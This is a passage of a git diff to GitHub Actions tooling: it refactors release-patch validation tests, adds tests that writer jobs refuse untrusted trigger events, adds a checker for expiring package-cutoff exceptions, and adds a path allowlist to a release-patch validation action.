next(index for index, item in enumerate(action_steps) if item.get("id") == name) return scripts / f"refresh-release-lock-{index}.sh" diff --git a/tests/validate_release_patch/test_validate.py b/tests/validate_release_patch/test_validate.py index e358c96..3740598 100644 --- a/tests/validate_release_patch/test_validate.py +++ b/tests/validate_release_patch/test_validate.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from pathlib import Path from textwrap import dedent @@ -27,15 +25,6 @@ def test_validate_applies_patch_in_fresh_worktree(repository: Path, tmp_path: Pa assert run(repository, "git", "diff", "--cached", "--name-only").stdout == source_staged -def track_rst_changelog(repository: Path) -> None: - (repository / "CHANGELOG.rst").write_text("Changelog\n=========\n") - project = repository / "pyproject.toml" - project.write_text(project.read_text().replace('filename = "CHANGELOG.md"', 'filename = "CHANGELOG.rst"')) - run(repository, "git", "add", "CHANGELOG.rst", "pyproject.toml") - run(repository, "git", "commit", "-m", "Track RST changelog") - run(repository, "git", "push", "origin", "main") - - @pytest.mark.parametrize( "heading", [ @@ -44,9 +33,8 @@ def track_rst_changelog(repository: Path) -> None: ], ) def test_validate_rst_heading(repository: Path, tmp_path: Path, action_scripts: Path, heading: str) -> None: - changelog = repository / "CHANGELOG.rst" track_rst_changelog(repository) - changelog.write_text( + (repository / "CHANGELOG.rst").write_text( dedent("""\ Changelog ========= @@ -60,12 +48,25 @@ def test_validate_rst_heading(repository: Path, tmp_path: Path, action_scripts: - Add a feature. """).format(heading=heading, underline="=" * len(heading)), ) - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode == 0, result.stderr +def track_rst_changelog(repository: Path) -> None: + (repository / "CHANGELOG.rst").write_text("Changelog\n=========\n") + project = repository / "pyproject.toml" + project.write_text(project.read_text().replace('filename = "CHANGELOG.md"', 'filename = "CHANGELOG.rst"')) + run(repository, "git", "add", "CHANGELOG.rst", "pyproject.toml") + run(repository, "git", "commit", "-m", "Track RST changelog") + run(repository, "git", "push", "origin", "main") + + +def _patch(repository: Path, tmp_path: Path) -> None: + (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) + run(repository, "git", "reset", "--hard", "HEAD") + + def test_validate_key_job_uses_only_checked_patch(repository: Path, tmp_path: Path, action_scripts: Path) -> None: assert action(repository, tmp_path, action_scripts, "prepare-towncrier", version="0.2.0").returncode == 0 run(repository, "git", "reset", "--hard", "HEAD") @@ -105,8 +106,7 @@ def test_validate_rejects_unsupported_fragment_path( path.parent.mkdir(parents=True, exist_ok=True) path.write_text("Unexpected release fragment.\n") run(repository, "git", "add", str(path.relative_to(repository))) - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) run(repository, "git", "clean", "-fd") result = action( repository, @@ -127,8 +127,7 @@ def test_validate_rejects_renamed_fragment_source(repository: Path, tmp_path: Pa run(repository, "git", "push", "origin", "main") run(repository, "git", "mv", str(source.relative_to(repository)), "changelog.d/1.feature.md") (repository / "CHANGELOG.md").write_text("# Changelog\n\n## 0.2.0 (2026-10-22)\n\n- Add a feature.\n") - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action( repository, tmp_path, @@ -140,25 +139,24 @@ def test_validate_rejects_renamed_fragment_source(repository: Path, tmp_path: Pa assert "unexpected release path status" in result.stderr -@pytest.mark.parametrize( - "file_mode", - [pytest.param("executable", id="executable"), pytest.param("symlink", id="symlink")], -) -def test_validate_rejects_unsafe_file_mode( - repository: Path, tmp_path: Path, action_scripts: Path, file_mode: str -) -> None: +def test_validate_rejects_executable_changelog(repository: Path, tmp_path: Path, action_scripts: Path) -> None: assert action(repository, tmp_path, action_scripts, "prepare-towncrier", version="0.2.0").returncode == 0 - if file_mode == "executable": - (repository / "CHANGELOG.md").chmod(0o755) - else: - (repository / "CHANGELOG.md").unlink() - (repository / "CHANGELOG.md").symlink_to("pyproject.toml") - run(repository, "git", "add", "CHANGELOG.md") - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + (repository / "CHANGELOG.md").chmod(0o755) + _patch(repository, tmp_path) result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode != 0 - assert ("unexpected release path" if file_mode == "symlink" else "unexpected release file mode") in result.stderr + assert "unexpected release file mode" in result.stderr + + +def test_validate_rejects_symlinked_changelog(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + assert action(repository, tmp_path, action_scripts, "prepare-towncrier", version="0.2.0").returncode == 0 + (repository / "CHANGELOG.md").unlink() + (repository / "CHANGELOG.md").symlink_to("pyproject.toml") + run(repository, "git", "add", "CHANGELOG.md") + _patch(repository, tmp_path) + result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") + assert result.returncode != 0 + assert "unexpected release path" in result.stderr def test_validate_rejects_nonregular_deleted_fragment(repository: Path, tmp_path: Path, action_scripts: Path) -> None: @@ -169,8 +167,7 @@ def test_validate_rejects_nonregular_deleted_fragment(repository: Path, tmp_path run(repository, "git", "push", "origin", "main") (repository / "CHANGELOG.md").write_text("# Changelog\n\n## 0.2.0 (2026-10-21)\n\n- Add a feature.\n") fragment.unlink() - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action( repository, tmp_path, @@ -184,8 +181,44 @@ def test_validate_rejects_nonregular_deleted_fragment(repository: Path, tmp_path def test_validate_rejects_removed_changelog(repository: Path, tmp_path: Path, action_scripts: Path) -> None: (repository / "CHANGELOG.md").unlink() - (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) - run(repository, "git", "reset", "--hard", "HEAD") + _patch(repository, tmp_path) result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode != 0 assert "unexpected release path" in result.stderr + + +def test_allowlist_accepts_listed_paths_only(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + (repository / "pyproject.toml").write_text((repository / "pyproject.toml").read_text() + "\n# changed\n") + (repository / "changelog.d/+feature.feature.md").unlink() + _patch(repository, tmp_path) + result = action( + repository, + tmp_path, + action_scripts, + "validate-release-patch", + version="0.2.0", + ALLOWED_PATHS="pyproject.toml\nchangelog.d/*", + ) + assert result.returncode == 0, result.stderr + assert "within the allowlist" in result.stdout + assert "changelog.d/+feature.feature.md" in run(repository, "git", "diff", "--cached", "--name-only").stdout + + +def test_allowlist_rejects_unlisted_path(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + (repository / "pyproject.toml").write_text((repository / "pyproject.toml").read_text() + "\n# changed\n") + _patch(repository, tmp_path) + result = action( + repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0", ALLOWED_PATHS="CHANGELOG.md" + ) + assert result.returncode != 0 + assert "unexpected release path: pyproject.toml" in result.stderr + + +def test_allowlist_rejects_executable_mode(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + (repository / "pyproject.toml").chmod(0o755) + _patch(repository, tmp_path) + result = action( + repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0", ALLOWED_PATHS="pyproject.toml" + ) + assert result.returncode != 0 + assert "unexpected release file mode" in result.stderr diff --git a/tests/writer_event_guard/test_guard.py b/tests/writer_event_guard/test_guard.py new file mode 100644 index 0000000..e8f3bbb --- /dev/null +++ b/tests/writer_event_guard/test_guard.py @@ -0,0 +1,75 @@ +import json +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, load_yaml, mapping, run_workflow_step, steps + +_GUARD: Final[str] = "๐Ÿšซ Refuse untrusted caller event" +_WRITERS: Final[tuple[tuple[str, str], ...]] = ( + ("open-maintenance-pr.yaml", "open"), + ("prepare-release-creator.yaml", "push"), + ("prepare-towncrier-release.yaml", "push"), + ("github-release.yaml", "github-release"), + ("publish-pre-commit-mirror.yaml", "mirror"), + ("latex-to-pages.yaml", "deploy"), +) +_REFUSED: Final[tuple[str, ...]] = ( + "pull_request", + "pull_request_target", + "workflow_run", + "issue_comment", + "merge_group", +) +_ALLOWED: Final[tuple[str, ...]] = ("push", "schedule", "workflow_dispatch", "release") + + +def _holds_write_token(job: JsonObject) -> bool: + permissions = mapping(job.get("permissions", {})) + return any(permissions.get(scope) == "write" for scope in ("contents", "pull-requests")) or ( + "secrets.RELEASE_APP_PRIVATE_KEY" in json.dumps(job) + ) + + +def _writer_jobs() -> set[tuple[str, str]]: + found: set[tuple[str, str]] = set() + for path in WORKFLOWS.glob("*.yaml"): + document = load_yaml(path) + if "workflow_call" not in mapping(document["on"]): + continue + for name, job in mapping(document["jobs"]).items(): + if "uses" not in mapping(job) and _holds_write_token(mapping(job)): + found.add((path.name, name)) + return found + + +def test_writers_are_the_guarded_jobs() -> None: + assert _writer_jobs() == set(_WRITERS) + + +@pytest.mark.parametrize(("workflow", "job"), _WRITERS) +def test_guard_is_the_first_step(workflow: str, job: str) -> None: + first = steps(load_yaml(WORKFLOWS / workflow), job)[0] + assert first["name"] == _GUARD + assert "if" not in first + assert first["env"] == {"EVENT_NAME": "${{ github.event_name }}"} + + +@pytest.mark.parametrize(("workflow", "job"), _WRITERS) +@pytest.mark.parametrize("event", _REFUSED) +def test_refused_event_fails_with_error(workflow: str, job: str, event: str, tmp_path: Path) -> None: + result, _ = run_workflow_step( + workflow, job, _GUARD, cwd=tmp_path, runner_temp=tmp_path, values={}, env={"EVENT_NAME": event} + ) + assert result.returncode != 0 + assert f"::error::writer job refuses {event} callers" in result.stdout + + +@pytest.mark.parametrize(("workflow", "job"), _WRITERS) +@pytest.mark.parametrize("event", _ALLOWED) +def test_allowed_event_passes(workflow: str, job: str, event: str, tmp_path: Path) -> None: + result, _ = run_workflow_step( + workflow, job, _GUARD, cwd=tmp_path, runner_temp=tmp_path, values={}, env={"EVENT_NAME": event} + ) + assert result.returncode == 0 + assert "::error::" not in result.stdout diff --git a/tools/check_nab_exceptions.py b/tools/check_nab_exceptions.py new file mode 100644 index 0000000..e2fb994 --- /dev/null +++ b/tools/check_nab_exceptions.py @@ -0,0 +1,81 @@ +"""Fail when a Nab cutoff exception has no expiry comment or has passed its expiry.""" + +import argparse +import re +import sys +import tomllib +from datetime import UTC, date, datetime +from pathlib import Path + + +def main() -> None: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("paths", nargs="+", type=Path) + paths = parser.parse_args(namespace=_Options()).paths + today = datetime.now(UTC).date() + try: + problems = [problem for path in paths for problem in _problems(path, today)] + except (OSError, UnicodeDecodeError, tomllib.TOMLDecodeError) as error: + print(f"::error::{error}", file=sys.stderr) + sys.exit(1) + for problem in problems: + print(f"::error::{problem}", file=sys.stderr) + if problems: + sys.exit(1) + + +class _Options(argparse.Namespace): + paths: list[Path] + + +def _problems(path: Path, today: date) -> list[str]: + text = path.read_text(encoding="utf-8") + document = tomllib.loads(text) + config = document.get("tool", {}).get("nab", {}) if path.name == "pyproject.toml" else document + problems = [ + f"{path}: [[package-rules]] {rule.get('match')} sets uploaded-prior-to, which expiry is not checked for;" + " move it to a packages. table" + for rule in config.get("package-rules", []) + if "uploaded-prior-to" in rule + ] + lines = text.splitlines() + for name, body in config.get("packages", {}).items(): + if "uploaded-prior-to" in body: + problems.extend(_exception_problems(lines, path, name, today)) + return problems + + +def _exception_problems(lines: list[str], path: Path, name: str, today: date) -> list[str]: + where = f"{path}: packages.{name}" + start = _start_line(lines, name) + if start is None: + return [f"{where} is not a table or dotted key that the expiry check can locate"] + above = lines[start - 1] if start else "" + if (match := re.fullmatch(r"#\s*expires\s+(\d{4}-\d{2}-\d{2})", above.strip())) is None: + return [f"{where} uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it"] + try: + expires = date.fromisoformat(match[1]) + except ValueError: + return [f"{where} has an invalid expiry date {match[1]}"] + if expires < today: + return [f"{where} uploaded-prior-to exception expired on {expires}; remove it or extend its expiry"] + return [] + + +def _start_line(lines: list[str], name: str) -> int | None: + selector = rf'(?:"{re.escape(name)}"|{re.escape(name)})' + header = re.compile(rf"\[\s*(?:tool\.nab\.)?packages\.{selector}\s*\]") + dotted = re.compile(rf"(?:tool\.nab\.)?packages\.{selector}\.uploaded-prior-to\s*=") + return next( + (index for index, line in enumerate(lines) if header.match(line.lstrip()) or dotted.match(line.lstrip())), + None, + ) + + +if __name__ == "__main__": + main() + + +__all__ = [ + "main", +] diff --git a/validate-release-patch/action.yml b/validate-release-patch/action.yml index 5105e1f..9d31826 100644 --- a/validate-release-patch/action.yml +++ b/validate-release-patch/action.yml @@ -1,5 +1,9 @@ name: Validate release patch description: Apply the release patch downloaded to $RUNNER_TEMP/release-patch and check its paths and file modes +inputs: + allowed-paths: + description: Newline-separated glob patterns for the only paths the patch may change, in place of the Towncrier configuration + default: "" runs: using: composite steps: @@ -8,45 +12,56 @@ runs: run: git apply --index --verbose "$RUNNER_TEMP/release-patch/release.patch" - name: โš™๏ธ Read Towncrier configuration id: config + if: inputs.allowed-paths == '' uses: $/read-towncrier-config - - name: ๐Ÿ” Check release patch paths + - name: ๐Ÿ” Check release patch paths and file modes shell: bash env: + ALLOWED_PATHS: ${{ inputs.allowed-paths }} CHANGELOG: ${{ steps.config.outputs.changelog }} FRAGMENTS: ${{ steps.config.outputs.fragments }} run: | set -euo pipefail # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. source "$GITHUB_ACTION_PATH/../tools/plural.sh" - git diff --cached --name-status --no-renames -z >"$RUNNER_TEMP/release-paths" + patterns=() + while IFS= read -r pattern; do + if [[ -n "$pattern" ]]; then + patterns+=("$pattern") + fi + done <<<"$ALLOWED_PATHS" + git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/release-changes" + count=0 removed=0 - while IFS= read -r -d '' status && IFS= read -r -d '' path; do - if [[ "$path" == "$CHANGELOG" && ("$status" == A || "$status" == M) ]]; then + while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do + read -ra fields <<<"$metadata" + status=${fields[4]} + if [[ -n "$ALLOWED_PATHS" ]]; then + echo "Release patch path: $status $path" + matched=false + for pattern in "${patterns[@]}"; do + # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. + if [[ "$path" == $pattern ]]; then + matched=true + break + fi + done + if [[ "$matched" != true ]]; then + echo "::error::unexpected release path: $path" >&2 + exit 1 + fi + elif [[ "$path" == "$CHANGELOG" && ("$status" == A || "$status" == M) ]]; then echo "Release patch path: $status $path (the changelog)" - continue - fi - if [[ "$path" != "$FRAGMENTS/"* ]]; then + elif [[ "$path" != "$FRAGMENTS/"* ]]; then echo "::error::unexpected release path: $path" >&2 exit 1 - fi - if [[ "$status" != D ]]; then + elif [[ "$status" != D ]]; then echo "::error::unexpected release path status: $status $path" >&2 exit 1 + else + removed=$((removed + 1)) fi - removed=$((removed + 1)) - done <"$RUNNER_TEMP/release-paths" - echo "Release patch paths: $(plural "$removed" fragment) removed from $FRAGMENTS" - - name: ๐Ÿ” Check release patch file modes - shell: bash - run: | - set -euo pipefail - # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. - source "$GITHUB_ACTION_PATH/../tools/plural.sh" - git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/release-modes" - count=0 - while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do - read -ra fields <<<"$metadata" - case "${fields[4]}" in + case "$status" in A) old_mode=000000 new_mode=100644 @@ -73,5 +88,10 @@ runs: exit 1 fi count=$((count + 1)) - done <"$RUNNER_TEMP/release-modes" + done <"$RUNNER_TEMP/release-changes" + if [[ -n "$ALLOWED_PATHS" ]]; then + echo "Release patch paths: $(plural "$count" path) within the allowlist" + else + echo "Release patch paths: $(plural "$removed" fragment) removed from $FRAGMENTS" + fi echo "Release patch file modes: $(plural "$count" path), each a non-executable regular file or a deletion"